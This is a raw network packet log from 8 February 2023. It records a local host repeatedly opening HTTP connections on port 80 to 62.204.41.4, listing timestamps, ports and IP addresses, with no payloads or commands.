Feb 8, 2023 21:33:18.645032883 CET	50108	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.645890951 CET	50109	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.707252026 CET	80	50109	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.707851887 CET	50109	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.708118916 CET	80	50108	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.708677053 CET	50108	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.709114075 CET	50109	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.768341064 CET	80	50109	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.770656109 CET	80	50109	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.771969080 CET	50109	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.887032032 CET	50109	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.887888908 CET	50110	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.946567059 CET	80	50109	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.946975946 CET	50109	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.949139118 CET	80	50110	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.949320078 CET	50110	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.949775934 CET	50110	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.010303974 CET	80	50110	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.012985945 CET	80	50110	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.013905048 CET	50110	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.123927116 CET	50110	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.124747038 CET	50111	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.184700966 CET	80	50110	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.184828043 CET	50110	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.185079098 CET	80	50111	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.185182095 CET	50111	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.185502052 CET	50111	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.245882034 CET	80	50111	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.249695063 CET	80	50111	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.249831915 CET	50111	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.356391907 CET	50111	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.357467890 CET	50112	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.417095900 CET	80	50111	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.417249918 CET	50111	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.420018911 CET	80	50112	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.420198917 CET	50112	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.423662901 CET	50112	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.486114025 CET	80	50112	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.488576889 CET	80	50112	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.488717079 CET	50112	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.605431080 CET	50112	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.607331038 CET	50113	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.667630911 CET	80	50113	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.667790890 CET	50113	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.668128014 CET	80	50112	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.670284986 CET	50112	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.670653105 CET	50113	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.731044054 CET	80	50113	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.733382940 CET	80	50113	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.734008074 CET	50113	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.847460032 CET	50113	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.848428965 CET	50114	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.907952070 CET	80	50113	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.908111095 CET	50113	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.909802914 CET	80	50114	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:19.909981012 CET	50114	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.934148073 CET	50114	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:19.995699883 CET	80	50114	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.010862112 CET	80	50114	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.014060020 CET	50114	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.152643919 CET	50114	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.153762102 CET	50115	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.214566946 CET	80	50114	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.214749098 CET	50114	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.215320110 CET	80	50115	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.215500116 CET	50115	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.219232082 CET	50115	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.280827999 CET	80	50115	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.285139084 CET	80	50115	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.285358906 CET	50115	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.393784046 CET	50116	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.393800974 CET	50115	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.455523014 CET	80	50115	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.455739021 CET	50115	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.456315994 CET	80	50116	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.456592083 CET	50116	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.457300901 CET	50116	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.520121098 CET	80	50116	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.523432016 CET	80	50116	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.526072025 CET	50116	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.642359972 CET	50116	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.643358946 CET	50117	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.703850985 CET	80	50117	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.703969002 CET	50117	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.704452038 CET	50117	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.704921961 CET	80	50116	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.704987049 CET	50116	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.764796019 CET	80	50117	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.767275095 CET	80	50117	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.767430067 CET	50117	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.876595974 CET	50117	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.884093046 CET	50118	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.937335968 CET	80	50117	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.937511921 CET	50117	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.944645882 CET	80	50118	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:20.944900990 CET	50118	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:20.945394039 CET	50118	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.005748034 CET	80	50118	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.007967949 CET	80	50118	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.008120060 CET	50118	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.121217966 CET	50118	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.122246981 CET	50119	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.181689024 CET	80	50118	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.181936979 CET	50118	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.183537960 CET	80	50119	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.183865070 CET	50119	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.184098005 CET	50119	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.245407104 CET	80	50119	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.249125004 CET	80	50119	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.249211073 CET	50119	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.356149912 CET	50119	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.356873035 CET	50120	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.417839050 CET	80	50119	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.418070078 CET	50119	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.418354034 CET	80	50120	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.418513060 CET	50120	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.420479059 CET	50120	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.482039928 CET	80	50120	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.485718012 CET	80	50120	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.485836983 CET	50120	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.590204954 CET	50120	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.592180967 CET	50121	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.652555943 CET	80	50120	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.652750969 CET	50120	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.653846979 CET	80	50121	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.653991938 CET	50121	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.657461882 CET	50121	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.719151020 CET	80	50121	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.722080946 CET	80	50121	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.722256899 CET	50121	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.825053930 CET	50121	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.826711893 CET	50122	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.886904955 CET	80	50121	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.887033939 CET	50121	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.888992071 CET	80	50122	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.889220953 CET	50122	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.889662981 CET	50122	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:21.951914072 CET	80	50122	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.954339027 CET	80	50122	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:21.954479933 CET	50122	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.068260908 CET	50122	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.072870970 CET	50123	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.130948067 CET	80	50122	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.131056070 CET	50122	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.133305073 CET	80	50123	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.133395910 CET	50123	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.133749962 CET	50123	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.194152117 CET	80	50123	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.198437929 CET	80	50123	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.198606014 CET	50123	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.378588915 CET	50123	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.379343033 CET	50124	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.439312935 CET	80	50123	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.439423084 CET	50123	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.441874027 CET	80	50124	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.441997051 CET	50124	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.455838919 CET	50124	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.518685102 CET	80	50124	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.522018909 CET	80	50124	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.522102118 CET	50124	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.637943983 CET	50124	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.638930082 CET	50125	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.700421095 CET	80	50124	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.700465918 CET	80	50125	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.700527906 CET	50124	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.700608015 CET	50125	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.703938961 CET	50125	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.765638113 CET	80	50125	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.768277884 CET	80	50125	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.768575907 CET	50125	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.875545979 CET	50125	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.876482964 CET	50126	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.968112946 CET	80	50126	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.969353914 CET	50126	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.969623089 CET	80	50125	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:22.970000029 CET	50125	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:22.981983900 CET	50126	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.042649984 CET	80	50126	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.047378063 CET	80	50126	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.047519922 CET	50126	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.154882908 CET	50126	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.156080961 CET	50127	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.215658903 CET	80	50126	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.216337919 CET	80	50127	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.216521978 CET	50127	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.216882944 CET	50126	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.222781897 CET	50127	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.283430099 CET	80	50127	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.285810947 CET	80	50127	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.286190033 CET	50127	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.403706074 CET	50127	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.408005953 CET	50128	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.464822054 CET	80	50127	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.464966059 CET	50127	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.469424009 CET	80	50128	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.469727039 CET	50128	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.470232964 CET	50128	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.531419039 CET	80	50128	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.533766031 CET	80	50128	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.533976078 CET	50128	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.653707981 CET	50128	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.654625893 CET	50129	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.715131998 CET	80	50128	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.715172052 CET	80	50129	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.715369940 CET	50128	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.715419054 CET	50129	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.715965033 CET	50129	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.776325941 CET	80	50129	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.778614998 CET	80	50129	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.778812885 CET	50129	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.887593985 CET	50129	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.889864922 CET	50130	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.948231936 CET	80	50129	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.948457003 CET	50129	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.952410936 CET	80	50130	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:23.952605009 CET	50130	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:23.953140974 CET	50130	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.018516064 CET	80	50130	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.018573999 CET	80	50130	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.018734932 CET	50130	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.123513937 CET	50130	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.124644041 CET	50131	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.186594009 CET	80	50130	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.186840057 CET	50130	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.187364101 CET	80	50131	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.187517881 CET	50131	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.191823006 CET	50131	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.253334045 CET	80	50131	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.256805897 CET	80	50131	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.256973028 CET	50131	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.374413013 CET	50131	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.375482082 CET	50132	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.436085939 CET	80	50131	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.436134100 CET	80	50132	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.436288118 CET	50131	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.436398983 CET	50132	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.436847925 CET	50132	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.497467995 CET	80	50132	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.499838114 CET	80	50132	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.499994993 CET	50132	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.606611013 CET	50132	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.607594013 CET	50133	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.668015003 CET	80	50132	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.668224096 CET	50132	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.670639038 CET	80	50133	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.670902014 CET	50133	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.671407938 CET	50133	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.733553886 CET	80	50133	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.736025095 CET	80	50133	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.736198902 CET	50133	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.845423937 CET	50133	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.846084118 CET	50134	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.906677961 CET	80	50134	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.906929970 CET	50134	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.907486916 CET	50134	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.907701969 CET	80	50133	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.907809973 CET	50133	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:24.968008041 CET	80	50134	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.970339060 CET	80	50134	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:24.970514059 CET	50134	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.074582100 CET	50134	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.075500011 CET	50135	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.134869099 CET	80	50135	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.135085106 CET	50135	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.135107040 CET	80	50134	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.135176897 CET	50134	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.140151024 CET	50135	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.199847937 CET	80	50135	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.203968048 CET	80	50135	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.204118013 CET	50135	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.310977936 CET	50135	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.314805984 CET	50136	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.370491028 CET	80	50135	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.370654106 CET	50135	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.375399113 CET	80	50136	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.375535965 CET	50136	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.375931978 CET	50136	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.436413050 CET	80	50136	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.438723087 CET	80	50136	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.438801050 CET	50136	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.546120882 CET	50136	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.547128916 CET	50137	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.606791973 CET	80	50136	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.606861115 CET	50136	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.607527018 CET	80	50137	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.607614994 CET	50137	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.608006001 CET	50137	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.668391943 CET	80	50137	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.671648026 CET	80	50137	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.671870947 CET	50137	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.781680107 CET	50137	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.782741070 CET	50138	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.842215061 CET	80	50137	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.842370033 CET	50137	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.845202923 CET	80	50138	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.845377922 CET	50138	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.846129894 CET	50138	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:25.909145117 CET	80	50138	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.911890030 CET	80	50138	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:25.915082932 CET	50138	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.035655975 CET	50138	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.036597967 CET	50139	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.097508907 CET	80	50139	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.097990990 CET	50139	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.098195076 CET	80	50138	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.098263025 CET	50138	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.098524094 CET	50139	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.159331083 CET	80	50139	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.163223028 CET	80	50139	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.166683912 CET	50139	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.278136015 CET	50139	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.278922081 CET	50140	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.339029074 CET	80	50139	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.339595079 CET	80	50140	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.339760065 CET	50139	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.339803934 CET	50140	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.342715025 CET	50140	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.403352976 CET	80	50140	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.406277895 CET	80	50140	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.406466961 CET	50140	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.515409946 CET	50140	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.516169071 CET	50141	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.576178074 CET	80	50140	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.576440096 CET	80	50141	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.576575041 CET	50140	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.576617002 CET	50141	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.577111006 CET	50141	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.637377977 CET	80	50141	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.640788078 CET	80	50141	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.641566038 CET	50141	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.748114109 CET	50141	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.749134064 CET	50142	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.808588982 CET	80	50141	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.808748007 CET	50141	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.810811043 CET	80	50142	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.810983896 CET	50142	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.815454960 CET	50142	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.877361059 CET	80	50142	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.880913019 CET	80	50142	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:26.881134033 CET	50142	80	192.168.2.3	62.204.41.4
